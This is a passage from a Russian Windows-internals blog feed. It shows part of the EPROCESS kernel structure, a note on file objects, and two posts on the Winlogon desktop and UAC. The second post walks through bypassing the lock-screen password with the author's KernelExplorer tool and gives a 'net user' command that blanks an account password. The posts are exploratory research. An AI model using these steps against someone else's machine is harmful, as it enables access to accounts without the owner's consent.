&nbsp; &nbsp; LARGE_INTEGER WriteTransferCount<span class="sy4">;</span>
&nbsp; &nbsp; LARGE_INTEGER OtherTransferCount<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T CommitChargeLimit<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T CommitCharge<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T CommitChargePeak<span class="sy4">;</span>
&nbsp; &nbsp; MMSUPPORT_FULL Vm<span class="sy4">;</span>
&nbsp; &nbsp; LIST_ENTRY MmProcessLinks<span class="sy4">;</span>
&nbsp; &nbsp; ULONG ModifiedPageCount<span class="sy4">;</span>
&nbsp; &nbsp; LONG ExitStatus<span class="sy4">;</span>
&nbsp; &nbsp; RTL_AVL_TREE VadRoot<span class="sy4">;</span>
&nbsp; &nbsp; PVOID VadHint<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T VadCount<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T VadPhysicalPages<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T VadPhysicalPagesLimit<span class="sy4">;</span>
&nbsp; &nbsp; ALPC_PROCESS_CONTEXT AlpcContext<span class="sy4">;</span>
&nbsp; &nbsp; LIST_ENTRY TimerResolutionLink<span class="sy4">;</span>
&nbsp; &nbsp; PPO_DIAG_STACK_RECORD TimerResolutionStackRecord<span class="sy4">;</span>
&nbsp; &nbsp; ULONG RequestedTimerResolution<span class="sy4">;</span>
&nbsp; &nbsp; ULONG SmallestTimerResolutio<span class="sy4">;</span>
&nbsp; &nbsp; LARGE_INTEGER ExitTime<span class="sy4">;</span>
&nbsp; &nbsp; PINVERTED_FUNCTION_TABLE InvertedFunctionTable<span class="sy4">;</span>
&nbsp; &nbsp; EX_PUSH_LOCK InvertedFunctionTableLock<span class="sy4">;</span>
&nbsp; &nbsp; ULONG ActiveThreadsHighWatermark<span class="sy4">;</span>
&nbsp; &nbsp; ULONG LargePrivateVadCount<span class="sy4">;</span>
&nbsp; &nbsp; EX_PUSH_LOCK ThreadListLock<span class="sy4">;</span>
&nbsp; &nbsp; PVOID WnfContext<span class="sy4">;</span>
&nbsp; &nbsp; PEJOB ServerSilo<span class="sy4">;</span>
&nbsp; &nbsp; BYTE SignatureLevel<span class="sy4">;</span>
&nbsp; &nbsp; BYTE SectionSignatureLevel<span class="sy4">;</span>
&nbsp; &nbsp; PS_PROTECTION Protection<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">union</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ULONG HangCount <span class="sy4">:</span> <span class="nu0">3</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ULONG GhostCount <span class="sy4">:</span> <span class="nu0">3</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ULONG PrefilterException <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">union</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ULONG Flags3<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG Minimal <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ReplacingPageRoot <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG Crashed <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG JobVadsAreTracked <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG VadTrackingDisabled <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG AuxiliaryProcess <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG SubsystemProcess <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG IndirectCpuSets <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG RelinquishedCommit <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG HighGraphicsPriority <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG CommitFailLogged <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ReserveFailLogged <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG SystemProcess <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG HideImageBaseAddresses <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG AddressPolicyFrozen <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ProcessFirstResume <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ForegroundExternal <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ForegroundSystem <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG HighMemoryPriority <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG EnableProcessSuspendResumeLogging <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG EnableThreadSuspendResumeLogging <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG SecurityDomainChanged <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG SecurityFreezeComplete <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG VmProcessorHost <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG VmProcessorHostTransition <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG AltSyscall <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG TimerResolutionIgnore <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG DisallowUserTerminate <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG EnableProcessRemoteExecProtectVmLogging <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG EnableProcessLocalExecProtectVmLogging <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; LONG DeviceAsid<span class="sy4">;</span>
&nbsp; &nbsp; PVOID SvmData<span class="sy4">;</span>
&nbsp; &nbsp; EX_PUSH_LOCK SvmProcessLock<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T SvmLock<span class="sy4">;</span>
&nbsp; &nbsp; LIST_ENTRY SvmProcessDeviceListHead<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T LastFreezeInterruptTime<span class="sy4">;</span>
&nbsp; &nbsp; PPROCESS_DISK_COUNTERS DiskCounters<span class="sy4">;</span>
&nbsp; &nbsp; PVOID PicoContext<span class="sy4">;</span>
&nbsp; &nbsp; PVOID EnclaveTable<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T EnclaveNumber<span class="sy4">;</span>
&nbsp; &nbsp; EX_PUSH_LOCK EnclaveLock<span class="sy4">;</span>
&nbsp; &nbsp; ULONG HighPriorityFaultsAllowed<span class="sy4">;</span>
&nbsp; &nbsp; PPO_PROCESS_ENERGY_CONTEXT EnergyContext<span class="sy4">;</span>
&nbsp; &nbsp; PVOID VmContext<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T SequenceNumber<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T CreateInterruptTime<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T CreateUnbiasedInterruptTime<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T TotalUnbiasedFrozenTime<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T LastAppStateUpdateTime<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">union</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; SIZE_T LastAppStateUptime <span class="sy4">:</span> <span class="nu0">61</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; SIZE_T LastAppState <span class="sy4">:</span> <span class="nu0">3</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T SharedCommitCharge<span class="sy4">;</span>
&nbsp; &nbsp; EX_PUSH_LOCK SharedCommitLock<span class="sy4">;</span>
&nbsp; &nbsp; LIST_ENTRY SharedCommitLinks<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T AllowedCpuSets<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T DefaultCpuSets<span class="sy4">;</span>
&nbsp; &nbsp; PSIZE_T AllowedCpuSetsIndirect<span class="sy4">;</span>
&nbsp; &nbsp; PSIZE_T DefaultCpuSetsIndirect<span class="sy4">;</span>
&nbsp; &nbsp; PVOID DiskIoAttribution<span class="sy4">;</span>
&nbsp; &nbsp; PVOID DxgProcess<span class="sy4">;</span>
&nbsp; &nbsp; ULONG Win32KFilterSet<span class="sy4">;</span>
&nbsp; &nbsp; USHORT Machine<span class="sy4">;</span>
&nbsp; &nbsp; USHORT Spare0<span class="sy4">;</span>
&nbsp; &nbsp; PS_INTERLOCKED_TIMER_DELAY_VALUES ProcessTimerDelay<span class="sy4">;</span>
&nbsp; &nbsp; ULONG KTimerSets<span class="sy4">;</span>
&nbsp; &nbsp; ULONG KTimer2Sets<span class="sy4">;</span>
&nbsp; &nbsp; ULONG ThreadTimerSets<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T VirtualTimerListLock<span class="sy4">;</span>
&nbsp; &nbsp; LIST_ENTRY VirtualTimerListHead<span class="sy4">;</span>
&nbsp; &nbsp; WNF_STATE_NAME WakeChannel<span class="sy4">;</span>
&nbsp; &nbsp; PS_PROCESS_WAKE_INFORMATION WakeInfo<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">union</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ULONG MitigationFlags<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">union</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG MitigationFlagsValues<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">union</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ULONG MitigationFlags2<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">union</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG MitigationFlags2Values<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; PVOID PartitionObject<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T SecurityDomain<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T ParentSecurityDomain<span class="sy4">;</span>
&nbsp; &nbsp; PVOID CoverageSamplerContext<span class="sy4">;</span>
&nbsp; &nbsp; PVOID MmHotPatchContext<span class="sy4">;</span>
&nbsp; &nbsp; KE_IDEAL_PROCESSOR_ASSIGNMENT_BLOCK IdealProcessorAssignmentBlock<span class="sy4">;</span>
&nbsp; &nbsp; RTL_AVL_TREE DynamicEHContinuationTargetsTree<span class="sy4">;</span>
&nbsp; &nbsp; EX_PUSH_LOCK DynamicEHContinuationTargetsLock<span class="sy4">;</span>
&nbsp; &nbsp; PS_DYNAMIC_ENFORCED_ADDRESS_RANGES DynamicEnforcedCetCompatibleRanges<span class="sy4">;</span>
&nbsp; &nbsp; ULONG DisabledComponentFlags<span class="sy4">;</span>
&nbsp; &nbsp; LONG PageCombineSequence<span class="sy4">;</span>
&nbsp; &nbsp; EX_PUSH_LOCK EnableOptionalXStateFeaturesLock<span class="sy4">;</span>
<span class="br0">&#125;</span> EPROCESS, <span class="sy2">*</span> PEPROCESS<span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Стоит отдельно рассмотреть механизмы взаимодействия с файловыми объектами, т.к. система управляет ими немного иначе, чем другими объектами ядра.<br />
Файловые объекты содержат указатель на следующий байт, который должен быть прочитан или записан в файл.<br />
Каждый раз, когда приложение создает новый дескриптор файла, система создает новый файловый объект.<br />
Следовательно, несколько файловых объектов могут ссылаться на один и тот же файл на диске<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7217&amp;d=1636634897" rel="Lightbox" id="attachment7217" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7217&amp;thumb=1&amp;d=1636634897" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 2.png
Просмотров: 561
Размер:	3.6 Кб
ID:	7217" style="margin: 5px" /></a><br />
Только дублированием (или наследованием) нескольких дескрипторов файла, можно ссылаться на один и тот же файловый объект<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7218&amp;d=1636635237" rel="Lightbox" id="attachment7218" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7218&amp;thumb=1&amp;d=1636635237" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 3.png
Просмотров: 519
Размер:	2.7 Кб
ID:	7218" style="margin: 5px" /></a><br />
Дескриптор остается действительным до тех пор, пока файловый объект не будет уничтожен функцией CloseHandle.<br />
<br />
<a href="https://www.cyberforum.ru/blogs/172954/blog7338.html">Объекты операционной системы. Часть 2: Объект ядра</a></div>

]]></content:encoded>
			<dc:creator>_lunar_</dc:creator>
			<guid isPermaLink="true">https://www.cyberforum.ru/blogs/172954/7337.html</guid>
		</item>
		<item>
			<title>Прогулка по Рабочему столу Winlogon. Часть 2: Привет, друг</title>
			<link>https://www.cyberforum.ru/blogs/172954/7153.html</link>
			<pubDate>Mon, 07 Jun 2021 22:52:58 GMT</pubDate>
			<description>Прогулка по Рабочему столу Winlogon. Часть 1: UAC...</description>
			<content:encoded><![CDATA[<div><a href="https://www.cyberforum.ru/blogs/172954/blog7145.html">Прогулка по Рабочему столу Winlogon. Часть 1: UAC</a><br />
<br />
Когда ребята из Microsoft создавали экран приветствия, где пользователь должен ввести логин и пароль,<br />
наверняка они хотели изобрести что-то мощное, что не дало бы не единого шанса на обход пароля и перехода к обычному Рабочему столу.<br />
И всё бы ничего, но один эксплойт они проглядели. Давайте разбираться.<br />
<br />
Что же такое экран приветствия? На этот вопрос нам поможет ответить всё тот же <a href="https://www.cyberforum.ru/blogs/172954/blog7009.html">KernelExplorer</a><br />
Всё что мы видим на экране монитора в ОС семейства Windows есть ничто иное как Рабочий стол.<br />
Это и обои, и заставки, и черный экран терминальной сессии, и даже экран приветствия.<br />
Но если экран приветствия это Рабочий стол, то что это за Рабочий стол? Как он называется?<br />
Всё просто - это Рабочий стол Winlogon. Да, тот самый, который ОС создаёт первым, а уже затем создаётся Рабочий стол Default.<br />
<br />
Здесь стоит сделать небольшое отступление, и рассказать про функционал экран приветствия.<br />
На данном Рабочем столе Winlogon отключено практически всё:<br />
- не работает механизм переключения между Рабочими столами (SwitchDesktop) ни при каких правах (будь то даже система)<br />
- не работает функционал быстрого скриншота PrintScreen и самого копирования (в буфер обмена не передаются данные, хотя у Рабочего стола Disconnect с этим всё в порядке)<br />
- очень странно себя ведут некоторые оконные программы (здесь стоит сделать акцент на то, что этот стол изначально не предназначался для GUI)<br />
И ещё много всякой мелочи, которая усложняет анализ происходящего.<br />
А ведь как было бы просто взять функцию SwitchDesktop и перейти с Winlogon на Default, не вводя пароль от учетной записи.<br />
<br />
Давайте запустим KernelExplorer на рабочем столе Winlogon (как мы это делали в первой части).<br />
Для этого в меню выбираем Инструменты -&gt; Сменить Рабочий стол -&gt; Перейти на Рабочий стол Winlogon<br />
Через утилиту управления UI0Return запустите KernelExplorer.<br />
Не закрывайте KernelExplorer и вернитесь на Рабочий стол Default: кнопка Переключиться между Рабочими столами.<br />
<br />
Для чистоты эксперимента я установил пароль для своей учетной записи<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7014&amp;d=1623105349" rel="Lightbox" id="attachment7014" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7014&amp;thumb=1&amp;d=1623105349" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 1.jpg
Просмотров: 913
Размер:	192.6 Кб
ID:	7014" style="margin: 5px" /></a><br />
Чтобы его скинуть достаточно будет запустить командную строку от имени администратора и ввести <code class="inlinecode">net user имя_учетки &quot;&quot;</code><br />
<br />
Заблокируем компьютер (клавиши Win+L) и попробуем ввести неправильный пароль (как-будто мы его не знаем)<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7015&amp;d=1623105584" rel="Lightbox" id="attachment7015" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7015&amp;thumb=1&amp;d=1623105584" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 2.JPG
Просмотров: 753
Размер:	429.8 Кб
ID:	7015" style="margin: 5px" /></a><br />
После чего увидим обычное предупреждение о неправильном пароле.<br />
<br />
Теперь нажмите клавиши Alt+Tab и перейдите к окну KernelExplorer.<br />
Забавно да, мы на экране приветствия уже можем управлять компьютером (в частности запустить Explorer++ для исследования жесткого диска без ведома пользователя).<br />
Но куда более интереснее всё же попытаться перейти на Рабочий стол Default без ввода пароля.<br />
<br />
И вот он наш эксплойт :)<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7016&amp;d=1623105917" rel="Lightbox" id="attachment7016" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7016&amp;thumb=1&amp;d=1623105917" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 3.JPG
Просмотров: 940
Размер:	564.6 Кб
ID:	7016" style="margin: 5px" /></a><br />
Как мы помним просто переключить Рабочий стол нельзя, но переход с экрана приветствия в терминальную сессию никто не отменял.<br />
Остаётся лишь в меню выбрать Инструменты -&gt; Перейти в терминальную сессию -&gt; Оконная станция WinSta0<br />
А затем просто нажать кнопку Вернуться в сессию пользователя и перейти на Рабочий стол Default.<br />
<br />
Я вас поздравляю, мы только что обошли пароль от учетной записи.<br />
Да, есть определенные ограничения (нужны права админа и т.д.), но сам факт того, что этот бекдор доступен и его можно использовать, на лицо.</div>

]]></content:encoded>
			<dc:creator>_lunar_</dc:creator>
			<guid isPermaLink="true">https://www.cyberforum.ru/blogs/172954/7153.html</guid>
		</item>
		<item>
			<title>Прогулка по Рабочему столу Winlogon. Часть 1: UAC</title>
			<link>https://www.cyberforum.ru/blogs/172954/7145.html</link>
			<pubDate>Tue, 01 Jun 2021 21:55:24 GMT</pubDate>
			<description>В современной операционной системе Windows есть области ядра, в которые Microsoft не хотела бы...</description>
			<content:encoded><![CDATA[<div>В современной операционной системе Windows есть области ядра, в которые Microsoft не хотела бы пускать обычных пользователей. Сделано это, естественно, в целях безопасности.<br />
Это могут быть процессы, сервисные службы, и даже Рабочие столы. Немного освежим память для целостности картины.<br />
Не буду расписывать всё досконально (это всё есть в моих предыдущих блогах), но вот как происходит процесс загрузки ОС до того момента когда пользователь увидит свой привычный рабочий стол:<br />
- ядро создаёт сессию 0<br />
- в сессии создаётся несколько Рабочих станций<br />
- интерактивной является оконная Рабочая станция WinSta0, она имеет три Рабочих стола: Default, Winlogon и Disconnent (Рабочий стол Default является общим для всех остальных Рабочих станций, но об этом я расскажу в других блогах).<br />
Аналогично создаётся окружение и для сессии 1 (названия Рабочих станций и Рабочих столов точно такие же).<br />
В сессии 0 загружаются системные процессы (минимальные процессы), а в сессии 1 пользовательские процессы.<br />
Таким образом осуществлена изоляция ядра от пользователя.<br />
<br />
Кроме того, стоит вспомнить, что первым wininit.exe создаёт Рабочий стол Winlogon, и если он валиден, то создаётся Рабочий стол Default.<br />
Рабочий стол Disconnent всё ещё покрыт тайной (по крайней мере его создаёт не wininit.exe), но я заметил одну интересную особенность - момент когда он создаётся и последствия этого.<br />
Но об этом тоже в других блогах, скажу лишь что этот Рабочий стол осуществляет переключение окружения между сессиями.<br />
<br />
Теперь, когда немного освежили память, перейдём непосредственно к UAC.<br />
UAC (или User Account Control - Контроль учётных записей) это средство безопасности, которое проверяет SID пользователя и выдаёт создаваемому процессу повышенные (Elevated) права.<br />
Посмотрим что происходит, когда система просит нас подтвердить можно ли предоставить процессу повышенные права.<br />
Т.к. на Рабочем столе Winlogon отключена функция PrintScreen я делал фото на телефон (сорри если не очень качественно, потом переделаю).<br />
<br />
Это обычный Рабочий стол<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7002&amp;d=1622581604" rel="Lightbox" id="attachment7002" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7002&amp;thumb=1&amp;d=1622581604" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 1.jpg
Просмотров: 644
Размер:	638.9 Кб
ID:	7002" style="margin: 5px" /></a><br />
Запустим KernelExplorer, который запросит повышенные права<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7003&amp;d=1622581692" rel="Lightbox" id="attachment7003" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7003&amp;thumb=1&amp;d=1622581692" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 2.JPG
Просмотров: 698
Размер:	464.1 Кб
ID:	7003" style="margin: 5px" /></a><br />
Обычный пользователь подумает, что это просто снимок экрана без учёта ярлыков, файлов и Панели задач с Пуском, находящихся на его Рабочем столе Default.<br />
Но на самом деле это не ваш Рабочий стол :)<br />
От вашего Рабочего стола осталась только картинка, применённая к Обоям. А окружение, которое вы видите, это непосредственно Рабочий стол Winlogon.<br />
Чтож, давайте узнаем как и почему это Рабочий стол Winlogon.<br />
<br />
Запустим <a href="https://www.cyberforum.ru/blogs/172954/blog7009.html">KernelExplorer</a> и перейдём на Рабочий стол Winlogon (всё делается в пользовательской сессии 1, переходить в терминальную сессию не нужно):<br />
Инструменты -&gt; Сменить Рабочий стол -&gt; Перейти на Рабочий стол Winlogon<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7004&amp;d=1622582400" rel="Lightbox" id="attachment7004" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7004&amp;thumb=1&amp;d=1622582400" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 3.jpg
Просмотров: 609
Размер:	44.3 Кб
ID:	7004" style="margin: 5px" /></a><br />
<br />
Всё что вы увидите это черный экран и внизу справа мою утилиту управления UI0Return.<br />
Давайте запустим KernelExplorer на этом Рабочем столе: кнопка Kernel Explorer<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7005&amp;d=1622582577" rel="Lightbox" id="attachment7005" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7005&amp;thumb=1&amp;d=1622582577" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 4.JPG
Просмотров: 594
Размер:	346.5 Кб
ID:	7005" style="margin: 5px" /></a><br />
Не закрывайте KernelExplorer и вернитесь на Рабочий стол Default: кнопка Переключиться между Рабочими столами.<br />
<br />
На вашем обычном Рабочем столе закройте KernelExplorer, и снова его откройте чтобы запросить у системы повышенные права.<br />
Когда вы увидите запрос Контроль учётных записей, нажмите Alt+Tab для переключения между окнами.<br />
Вот что вы увидите<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7006&amp;d=1622582977" rel="Lightbox" id="attachment7006" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7006&amp;thumb=1&amp;d=1622582977" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 5.JPG
Просмотров: 600
Размер:	276.0 Кб
ID:	7006" style="margin: 5px" /></a><br />
<br />
Как вам? :)<br />
Сейчас мы находимся в очень интересном месте ядра ОС. Во-первых, это Рабочий стол Winlogon. Во-вторых, мы можем посмотреть что такое этот UAC.<br />
Для этого запустим Process Hacker:<br />
Инструменты -&gt; Внешние инструменты -&gt; Process Hacker<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7007&amp;d=1622583204" rel="Lightbox" id="attachment7007" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7007&amp;thumb=1&amp;d=1622583204" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 6.JPG
Просмотров: 633
Размер:	288.4 Кб
ID:	7007" style="margin: 5px" /></a><br />
<br />
Итак, процесс UAC называется consent.exe (его создаёт один из хостов svchost.exe с сервисом Appinfo)<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7008&amp;d=1622583364" rel="Lightbox" id="attachment7008" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7008&amp;thumb=1&amp;d=1622583364" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 7.JPG
Просмотров: 583
Размер:	804.8 Кб
ID:	7008" style="margin: 5px" /></a><br />
Процесс является системным (NT AUTHORITY\СИСТЕМА) и достаточно прожорливым (более 65МБ). Давайте узнаем что у него под капотом.<br />
<br />
Щелкните два раза левой кнопкой мыши по нему для открытия окна Свойств<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7009&amp;d=1622583619" rel="Lightbox" id="attachment7009" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7009&amp;thumb=1&amp;d=1622583619" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 8.JPG
Просмотров: 615
Размер:	738.1 Кб
ID:	7009" style="margin: 5px" /></a><br />
Интересной будет являться вкладка Windows, т.к. Контроль учётных записей с предложением повышения прав процессу является окном.<br />
Здесь мы видим и заголовок окна, и что более интересно имя окна и его класс<br />
<b>$$$Secure UAP Background Window</b> и <b>$$$Secure UAP Background Window Class</b> соответственно.<br />
<br />
Ничего не напоминает? :)<br />
<a href="https://www.cyberforum.ru/blogs/172954/blog6813.html">Исследование сервиса &quot;Обнаружение интерактивных служб&quot; (UI0Detect) Часть 1: Windows Vista - Windows 7</a><br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="115134651"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="115134651" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
</pre></td><td class="de1"><pre class="de1"><span class="kw4">typedef</span> BOOLEAN<span class="br0">&#40;</span>NTAPI<span class="sy2">*</span> _RtlTimeToSecondsSince1980<span class="br0">&#41;</span><span class="br0">&#40;</span>
&nbsp; &nbsp; _In_ PLARGE_INTEGER Time,
&nbsp; &nbsp; _Out_ PULONG ElapsedSeconds
&nbsp; &nbsp; <span class="br0">&#41;</span><span class="sy4">;</span>
_RtlTimeToSecondsSince1980 RtlTimeToSecondsSince1980<span class="sy4">;</span>
&nbsp;
